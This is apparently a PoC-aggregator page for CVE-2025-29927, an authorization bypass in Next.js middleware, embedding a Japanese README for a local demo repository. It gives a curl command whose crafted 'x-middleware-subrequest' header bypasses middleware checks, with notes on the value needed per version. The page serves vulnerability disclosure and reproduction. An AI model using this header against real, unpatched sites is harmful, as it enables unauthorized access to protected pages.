POC详情: 551732a0544efacf98d37618f7019a2bbc37ebd6

来源
关联漏洞
标题: Next.js 安全漏洞 (CVE-2025-29927)
描述:Next.js是Vercel开源的一个 React 框架。 Next.js 14.2.25之前版本和15.2.3之前版本存在安全漏洞,该漏洞源于如果授权检查发生在中间件中,可能绕过授权检查。
描述
Next.js における認可バイパスの脆弱性を再現するデモです。
介绍
# cve-2025-29927-demo

Next.js における認可バイパスの脆弱性を再現するデモです。

当該脆弱性についての詳細は **[Next.jsの脆弱性CVE-2025-29927まとめ](https://zenn.dev/t3tra/articles/c293410c7daf63)** を参照してください。

## 脆弱性の再現方法

1. このリポジトリをクローンします。

```bash
git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
git pull origin main
cd cve-2025-29927-demo
```

2. サーバーを起動します。

```bash
npm install
npm run dev
```

3. `curl` 等を用いて `x-middleware-subrequest` ヘッダーを付与したリクエストを送信します。

```bash
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected
```

これにより認可バイパスが発生し、`/protected` ページにアクセスできるようになります。

`middleware` の値は Next.js が認識するミドルウェアの名前です。このデモアプリでは `middleware` という名前のミドルウェアが存在しているため、この値を指定することで認可バイパスが発生します。

> [!TIP]
> Next.js 15.x では `MAX_RECURSION_DEPTH` が 5 に設定されているため、middleware の値を 5 回以上 `:` で区切って繰り返す必要があります。古いバージョン (14.x) では単に「 middleware 」だけで十分でした。このデモアプリでは Next.js 15.2.2 が使用されているため、このような値が必要です。
文件快照

[4.0K] /data/pocs/551732a0544efacf98d37618f7019a2bbc37ebd6 ├── [4.0K] app │   ├── [ 25K] favicon.ico │   ├── [ 855] globals.css │   ├── [ 789] layout.tsx │   ├── [4.0K] login │   │   └── [1.8K] page.tsx │   ├── [1002] page.module.css │   ├── [3.1K] page.tsx │   └── [4.0K] protected │   └── [2.1K] page.tsx ├── [ 393] eslint.config.mjs ├── [ 816] middleware.ts ├── [ 133] next.config.ts ├── [ 517] package.json ├── [175K] package-lock.json ├── [1.5K] README.md └── [ 598] tsconfig.json 3 directories, 14 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。